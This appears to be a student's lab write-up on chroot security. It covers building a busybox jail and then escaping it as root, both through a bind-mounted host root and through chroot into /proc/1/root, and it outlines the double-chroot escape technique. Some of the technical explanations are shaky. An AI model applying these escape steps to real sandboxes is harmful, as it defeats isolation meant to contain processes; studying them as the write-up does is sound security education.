Skip to content

Session 05: OS and Application Security

In this session, we learn about the security and vulnabilities of Operating System (OS) and applications. In thks homeworks, I demonstrate and learn how does the original specifications of OS and Application works as vulnerbilities throguth observing the functions and behaviors of “chroot”.

Part1: chroot DEMO

Step 1: Create the Host Secret Flag & Set Up a Shell

I tried here:

sudo echo "FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}"  > /host_secret.txt

but, the result is here:

ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo echo "FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}"  > /host_secret.txt
-bash: /host_secret.txt: Permission denied

The reason is simple. The above command try to write a file in the top directory (“/”), but top directory, in linux, only root have all permission, general user only read and copy the file… In case of above command, echo execute with sudo, but “> /host_secret.txt” would execute by “ubuntu” user, so the file could not writable.

Therefore, I changed to this command:

sudo echo "FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}" | sudo tee /host_secret.txt"

“tee” command could copies from standard input to one or more files in addition to stdout (standard output).

And, the file could see on top directory.

ubuntu@ff-cs-yosuke-tsuchiya:/$ ls -l
total 3379296
lrwxrwxrwx   1 root root          7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   2 root root       4096 Feb 26  2024 bin.usr-is-merged
drwxr-xr-x   5 root root       4096 Jul  3 07:00 boot
dr-xr-xr-x   2 root root       4096 Feb 10 06:52 cdrom
drwxr-xr-x  21 root root       4160 Jul  4 00:07 dev
drwxr-xr-x 153 root root      12288 Jul  8 06:07 etc
drwxr-xr-x   4 root root       4096 Jun 24 06:40 home
-rw-r--r--   1 root root         42 Jul  9 08:43 host_sectet.txt
lrwxrwxrwx   1 root root          7 Apr 22  2024 lib -> usr/lib
lrwxrwxrwx   1 root root          9 Apr 22  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root       4096 Feb 26  2024 lib.usr-is-merged
drwx------   2 root root      16384 Jun 11 13:28 lost+found
drwxr-xr-x   2 root root       4096 Feb 10 00:16 media
drwxr-xr-x   2 root root       4096 Feb 10 00:16 mnt
drwxr-xr-x   3 root root       4096 Jun 16 00:54 opt
dr-xr-xr-x 266 root root          0 Jul  4 00:07 proc
drwx------   8 root root       4096 Jun 30 11:26 root
drwxr-xr-x  36 root root       1160 Jul  9 08:32 run
lrwxrwxrwx   1 root root          8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root       4096 Oct  3  2025 sbin.usr-is-merged
drwxr-xr-x   2 root root       4096 Jun 11 13:31 snap
drwxr-xr-x   2 root root       4096 Feb 10 00:16 srv
-rw-------   1 root root 3460300800 Jun 11 13:29 swap.img
dr-xr-xr-x  13 root root          0 Jul  9 08:35 sys
drwxrwxrwt  17 root root       4096 Jul  9 08:36 tmp
drwxr-xr-x  12 root root       4096 Feb 10 00:16 usr
drwxr-xr-x  15 root root       4096 Jun 24 12:15 var
ubuntu@ff-cs-yosuke-tsuchiya:/$ 

Then, installed busybox:

sudo apt update && sudo apt install -y busybox-static

but the busybox-static has already installed.

ubuntu@ff-cs-yosuke-tsuchiya:/$ sudo apt install busybox-static
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
busybox-static is already the newest version (1:1.36.1-6ubuntu3.1).
busybox-static set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 6 not upgraded.

I made a directory for jail of chroot.

mkdir -p ~/chroot_jail/bin

Then, tried to copy busybox-static execute file from /bin, but that does not found.

ubuntu@ff-cs-yosuke-tsuchiya:/bin$ ls -la | grep busybox
-rwxr-xr-x  1 root root       2124608 Feb 10 00:34 busybox
lrwxrwxrwx  1 root root             7 Feb 10 00:34 static-sh -> busybox
ubuntu@ff-cs-yosuke-tsuchiya:/bin$ 

So, I copied “busybox” file into ~/chroot_jail/bin

cp /bin/busybox ~/chroot_jail/bin/sh

Then, confirmed “sh” file is in /chroot_jail/bin

ubuntu@ff-cs-yosuke-tsuchiya:~$ cd chroot_jail/
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail$ ls
bin
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail$ cd bin
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$ ls
sh
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$ ls -la
total 2084
drwxrwxr-x 2 ubuntu ubuntu    4096 Jul  9 08:51 .
drwxrwxr-x 3 ubuntu ubuntu    4096 Jul  9 08:49 ..
-rwxr-xr-x 1 ubuntu ubuntu 2124608 Jul  9 08:51 sh
ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$ 

Step 2: Activate the Jail.

Now, I chroot to enter the jail.

ubuntu@ff-cs-yosuke-tsuchiya:~/chroot_jail/bin$ sudo chroot ~/chroot_jail /bin/sh


BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # 

The prompt is changed, that is the sign to enter into chroot space.

Attempting to list the Root Directory

/ # ls -la /
total 12
drwxrwxr-x    3 1000     1000          4096 Jul  9 08:49 .
drwxrwxr-x    3 1000     1000          4096 Jul  9 08:49 ..
drwxrwxr-x    2 1000     1000          4096 Jul  9 08:51 bin
/ # 

Only /bin folder comes up.

Attempt Directry Travel

Going to up directory.

/ # cd ../
/ # ls -la
total 12
drwxrwxr-x    3 1000     1000          4096 Jul  9 08:49 .
drwxrwxr-x    3 1000     1000          4096 Jul  9 08:49 ..
drwxrwxr-x    2 1000     1000          4096 Jul  9 08:51 bin

Nothing changed.

Trying to going back to “home”.

/ # cd
/bin/sh: cd: can't cd to /root: No such file or directory
/ # pwd
/

This is interesting. Only executing “cd” command (to back to my home directory), but it tries to go back to /root directory (root’s home directory) and give a message “No such file or directory”. So, checking where I am now with “pwd” directory, and I could found I am in “/” directory.

Can you grab the file?:

Trying to read the file which I put on the root directory, host_secret.txt

/bin # cat /host_secret.txt
/bin/sh: cat: not found
/bin # 

This is funny. According to the instruction document, it is expected to show “cat: can’t open ‘/host_secret.txt: No such file or directory.”, but I got the message that “cat” command does not found....

exit the jail*

Just type “exit”, then I could exit from the Jail.

/bin # exit
ubuntu@ff-cs-yosuke-tsuchiya:~$ 

Part 2: Deliverables & Submission Requirements

When you ran cd ../../.. inside the jail and checked your location, why couldn’t you exit? How does the kernel manipulate path resolution for a chroot-ed process?

As I checked above, I cannot change to host’s root directory as follow.

/ # cd ../../..
/ # pwd
/
/ # 

This is because chroot sets the specified directory as the root directory. In this case, I specified the jail directory as “~/chroot_jail”, and this directory become root directory. In the enverinment of chroot, the kernel is referred to the host one, and the location info is override. In the above demonstration, I tried to execute “cat” command, but I got the message “cat: not found”. That is the sign that the root directory is changed and the path to the command was lost in the jail (used kernel parameter that assume there are /usr/bin file in / (root directory), and it also used in jail, then the location is lost…)

What happens if you try to run commands like nano, python3, or grep inside your jail? Explain why they fail, even if they are installed on your host OS.

This is also the same as follow.

/ # python3
/bin/sh: python3: not found
/ # cd ../../..
/ # pwd
/
/ # nano test.txt
/bin/sh: nano: not found
/ # ls -la | grep bin
/bin/sh: grep: not found
/ # 

That is because the path to the directory which those command are installed (/usr/bin) was lost in the jail. It is often said when using chroot, it is require to copy all the programs that run within that environment (such as bashand ls) and their dependency files (such as .sofiles) into the new root directory, but it’s for the reasons mentioned above.

Part 3: Deep-Dive Discussion — The Privilege Escape Paradox

New questions! 1. The user I mentioned isn’t happy with the limitations discussed in Part 2 above. Fix them! Add all of /bin and /lib, your user should be able to access a compiler and other tooling.

I think it could be achieved to use “mount bind” to mount some system foders (/bin, /lib, /lib64 and /user) into jail folder.

Regular “mount” command mount a filesystem (USB device, DVD RAM etc) is associated with a specific directory for use. (ex. Mount /dev/sda1 to /mnt/usb). On the other hand, Bind mount mount an existing directory or file as a “reference” to another location.

First, mount some directories into ~/chroot_jail folders.

ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /bin ~/chroot_jail/bin
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /lib ~/chroot_jail/lib
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /lib64 ~/chroot_jail/lib64
ubuntu@ff-cs-yosuke-tsuchiya:~$ mkdir ~/chroot_jail/usr
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind /usr ~/chroot_jail/usr

Then, chroot to enter the jail.

ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail /bin/bash
bash-5.2# 

Then, try to exexuse some command.

bash-5.2# 
bash-5.2# python3
Python 3.12.3 (main, Jun 19 2026, 12:46:00) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
bash-5.2# pwd
/
bash-5.2# echo "this is the test" > test.txt
bash-5.2# cat test.txt
this is the test
bash-5.2# less text.txt
text.txt: No such file or directory
bash-5.2# less test.txt 

python3, pwd, cat less command worked. This is very simple, I just mount(added) the necessary folders for executing those softwares into jail directory.

Now various other commands are available to your sandboxed user, consider the below issue. You find out that your user was able to gain access to your secret file! How? Demonstrate at least one method of escaping the sandbox on your student VM, and demonstrate in your writeup that this works.

I think to use bind mount (mount –bind) command to mount top directory “/” into the jail.

ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind / ~/chroot_jail/breakout
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail/ /bin/bash
bash-5.2# 
bash-5.2# 
bash-5.2# ls
bin  breakout  escape  escape.c  etc  lib  lib64  proc  root  sub  usr
bash-5.2# cd breakout/
bash-5.2# ls
bin        boot   dev  home     lib    lib.usr-is-merged  media  opt   root  sbin        snap  swap.img  tmp  var
bin.usr-is-merged  cdrom  etc  host_secret.txt  lib64  lost+found     mnt    proc  run   sbin.usr-is-merged  srv   sys   usr
bash-5.2# cat host_secret.txt 
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}
bash-5.2# 

Yeah, I could see hsot_secret.txt file that are mounted into breakout folder. However, since this directory was mounted before the / directory was chrooted in the first place, this is actually to be expected when you think about it. In normal operation, it’s unlikely that the root directory itself would be mounted inside a chroot jail.

Is there a way to access the root directory (/) from inside the jail without mounting it beforehand…? Usually, we cannot access to outside of the jail.... I know that, but… I checked whether any folders in / directories, which is used for system process and management like proc, dev, sys…, could mount or not.

As a result, I could mount /proc into ~/chroot_jail folder.

bash-5.2# mkdir /proc
bash-5.2# mount -t proc proc /proc

Then, check inside of /proc

bash-5.2# ls
bin  breakout  lib  lib64  proc  usr
bash-5.2# ls /proc/1
Display all 100 possibilities? (y or n)
bash-5.2# ls /proc/1/root/
bin        boot   dev  home     lib    lib.usr-is-merged  media  opt   root  sbin        snap  swap.img  tmp  var
bin.usr-is-merged  cdrom  etc  host_secret.txt  lib64  lost+found     mnt    proc  run   sbin.usr-is-merged  srv   sys   usr
bash-5.2# cat /proc/1/root/host_secret.txt 
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}

I could access to the host root directory in root process, and opened the host_secret.txt.

What happened? The most important thing is that chroot override the path to folder and files, but other information such as user/group/process id are referred to host one. Usually, mount command can only use root account and root could access all the files/foders inside the /proc.

When used chroot, that would become the same id, group, process with host root account.

Here is checking the user account name and id in jail

bash-5.2# whoami
whoami: cannot find name for user ID 0: No such file or directory
bash-5.2# id
uid=0 gid=0 groups=0

whoami failed because it looks up /etc/passwd to convert UID 0 to a username, but /etc/passwd does not exist inside the jail. However, id succeeded because it can display the raw UID number without name resolution.

Here is checking the root user’s id in host. As a result, in the jail, the user became root, and could execute the command as root, and this privileges applied to outside of the jail.

ubuntu@ff-cs-yosuke-tsuchiya:~$ whoami
ubuntu
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo whoami
root
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

Also, why could access and mount /proc from the jail? Because /proc is stored the system information and status and this directory is in the system memory, not in the disk. Chroot does not treat the files out of the disk(filesystem), therefore /proc could access and mount from the jail.

As seen below, type of /proc is different from root directory (/). Proc is “proc” type, and root directory is “ext4”.

ubuntu@ff-cs-yosuke-tsuchiya:~$ df -Ta
df: /run/user/1000/doc: Operation not permitted
Filesystem                        Type        1K-blocks     Used Available Use% Mounted on
sysfs                             sysfs               0        0         0    - /sys
proc                              proc                0        0         0    - /proc
udev                              devtmpfs      1928600        0   1928600   0% /dev
devpts                            devpts              0        0         0    - /dev/pts
tmpfs                             tmpfs          369416     1444    367972   1% /run
efivarfs                          efivarfs          256      194        58  78% /sys/firmware/efi/efivars
/dev/mapper/ubuntu--vg-ubuntu--lv ext4         22473872 10916356  10390568  52% /
securityfs                        securityfs          0        0         0    - /sys/kernel/security
tmpfs                             tmpfs         1380132        0   1380132   0% /dev/shm
tmpfs                             tmpfs            5120        0      5120   0% /run/lock
cgroup2                           cgroup2             0        0         0    - /sys/fs/cgroup
pstore                            pstore              0        0         0    - /sys/fs/pstore
bpf                               bpf                 0        0         0    - /sys/fs/bpf
systemd-1                         -                   -        -         -    - /proc/sys/fs/binfmt_misc
hugetlbfs                         hugetlbfs           0        0         0    - /dev/hugepages
mqueue                            mqueue              0        0         0    - /dev/mqueue
debugfs                           debugfs             0        0         0    - /sys/kernel/debug
tracefs                           tracefs             0        0         0    - /sys/kernel/tracing
fusectl                           fusectl             0        0         0    - /sys/fs/fuse/connections
configfs                          configfs            0        0         0    - /sys/kernel/config
tmpfs                             tmpfs         1171748        0   1171748   0% /run/qemu
/dev/sda2                         ext4          1992552   205744   1665568  11% /boot
/dev/sda1                         vfat          1098632     6288   1092344   1% /boot/efi
binfmt_misc                       binfmt_misc         0        0         0    - /proc/sys/fs/binfmt_misc
tmpfs                             tmpfs          184376      104    184272   1% /run/user/1000
/dev/mapper/ubuntu--vg-ubuntu--lv ext4         22473872 10916356  10390568  52% /home/ubuntu/chroot_jail/bin
/dev/mapper/ubuntu--vg-ubuntu--lv ext4         22473872 10916356  10390568  52% /home/ubuntu/chroot_jail/lib
/dev/mapper/ubuntu--vg-ubuntu--lv ext4         22473872 10916356  10390568  52% /home/ubuntu/chroot_jail/lib64
/dev/mapper/ubuntu--vg-ubuntu--lv ext4         22473872 10916356  10390568  52% /home/ubuntu/chroot_jail/usr
/dev/mapper/ubuntu--vg-ubuntu--lv ext4         22473872 10916356  10390568  52% /home/ubuntu/chroot_jail/etc
ubuntu@ff-cs-yosuke-tsuchiya:~$ 

Those itself are not the vulnerability, but a specification of chroot, but those would become a vulnerability if some requirements are satisfied as follow.

  • mount the commands (or folders) that are execute the system operation (like mount command)
  • use it for accessing to the folders stored system information and status.
  • the user/group id in jail is the same with host root.

The Double-Chroot Escape Vulnerability

The description of Double-Chroot Escape Vulerability is as follow (from homework page):

If an untrusted process inside a chroot sandbox manages to maintain or upgrade its privileges to root (UID 0), it can easily bypass the filesystem barrier using a well-known exploit technique colloquially called a Double-Chroot Escape.

How the Escape Works 1. The attacker s running inside the jail, but retains full system admin capability (root).

  1. The attacker calls open(“.”, …) to grab a direct hardware handle (file descriptor) pointing to the jail’s current root directory.

  2. The attacker creates a temporary subfolder inside the jail (e.g., /breakout) and issues a new chroot command targeting that deeper folder.

  3. The kernel updates the process’s internal root pointer to point to /breakout. Crucially, the old root folder handle from step 2 is now technically outside the process’s new active root boundary.

  4. Because the attacker has a raw file descriptor to a directory outside its current root, they can call fchdir() onto that handle, and execute cd .. repeatedly. The kernel can no longer stop the traversal because the boundary calculation breaks down when navigating upwards from an external file handle.

  5. The attacker arrives at the true host root, issues one final chroot(“.”), and breaks completely into the host filesystem with full administrative permissions intact.

If “/” folder could be mounted into the jail, Double-Chroot Escape Vulnerability is something like that:

ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo mount --bind / ~/chroot_jail/breakout
ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail/ /bin/bash
bash-5.2# 
bash-5.2# 
bash-5.2# ls
bin  breakout  escape  escape.c  etc  lib  lib64  proc  root  sub  usr
bash-5.2# chroot /breakout /bin/bash
root@ff-cs-yosuke-tsuchiya:/# 
root@ff-cs-yosuke-tsuchiya:/# 
root@ff-cs-yosuke-tsuchiya:/# ls
bin                boot   dev  home             lib    lib.usr-is-merged  media  opt   root  sbin                snap  swap.img  tmp  var
bin.usr-is-merged  cdrom  etc  host_secret.txt  lib64  lost+found         mnt    proc  run   sbin.usr-is-merged  srv   sys       usr
root@ff-cs-yosuke-tsuchiya:/# cd
root@ff-cs-yosuke-tsuchiya:~# ;s
bash: syntax error near unexpected token `;'
root@ff-cs-yosuke-tsuchiya:~# ls
root@ff-cs-yosuke-tsuchiya:~# cd ..
root@ff-cs-yosuke-tsuchiya:/# ls
bin                boot   dev  home             lib    lib.usr-is-merged  media  opt   root  sbin                snap  swap.img  tmp  var
bin.usr-is-merged  cdrom  etc  host_secret.txt  lib64  lost+found         mnt    proc  run   sbin.usr-is-merged  srv   sys       usr
root@ff-cs-yosuke-tsuchiya:/# cat host_secret.txt 
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}
root@ff-cs-yosuke-tsuchiya:/# 

In short, you run chroot by specifying the folder where “/” is mounted inside the jail (in this case, /breakout) as the new root directory. By doing so, once you escape the jail, you will be logged in as the root user in the / directory. This is exactly as I pointed out earlier that chroot override the path to folder and files, but other information such as user/group/process id are refferd to host one.

So, based on the fact that you can mount the proc directory from inside the jail mentioned earlier, I observed a shocking phenomenon. As shown below, by chrooting with /proc/1/root inside the proc folder as the root directory, you can similarly escape the jail, retain the root account, and navigate to the top-level directory. That location behaves exactly like the root directory of the original system.

ubuntu@ff-cs-yosuke-tsuchiya:~$ sudo chroot ~/chroot_jail/ /bin/bash
bash-5.2# 
bash-5.2# 
bash-5.2# 
bash-5.2# ls
bin  breakout  escape  escape.c  etc  lib  lib64  proc  root  sub  usr
bash-5.2# mount -t proc proc /proc
bash-5.2# chroot /proc/1/root /bin/bash
root@ff-cs-yosuke-tsuchiya:/# 
root@ff-cs-yosuke-tsuchiya:/# 
root@ff-cs-yosuke-tsuchiya:/# ls
bin                boot   dev  home             lib    lib.usr-is-merged  media  opt   root  sbin                snap  swap.img  tmp  var
bin.usr-is-merged  cdrom  etc  host_secret.txt  lib64  lost+found         mnt    proc  run   sbin.usr-is-merged  srv   sys       usr
root@ff-cs-yosuke-tsuchiya:/# cat host_secret.txt 
FLAG{CHROOT_IS_NOT_A_SECURE_SANDBOX_1206}
root@ff-cs-yosuke-tsuchiya:/# pwd
/
root@ff-cs-yosuke-tsuchiya:/# python3
Python 3.12.3 (main, Jun 19 2026, 12:46:00) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
root@ff-cs-yosuke-tsuchiya:/# 

Unlike the previous method (mount / in advance), which requires mounting the / directory in advance, this approach can be performed from within the jail with only the bare minimum required (simply ensuring that the mount command can run).

Learning Outcome

Chroot was originally developed as part of a functionality designed to restrict file access or isolate resources and working environments, similar to what are known as containers or virtualization (such as Docker and VirtualBox) in modern computing. And that history come back from 1960’s.

The lesson from this demonstration and experiment is that vulnerabilities in operating systems and applications are not only caused by implementation flaws (generally recognized as bugs), but can also stem from the software’s original specifications. Because chroot is designed to “simply isolate the working environment, while processes and user IDs still refer to the original system,” it allows for the kinds of jailbreaks and manipulation of the underlying system described above.

I felt the more one thinks about this, the more serious the issue becomes.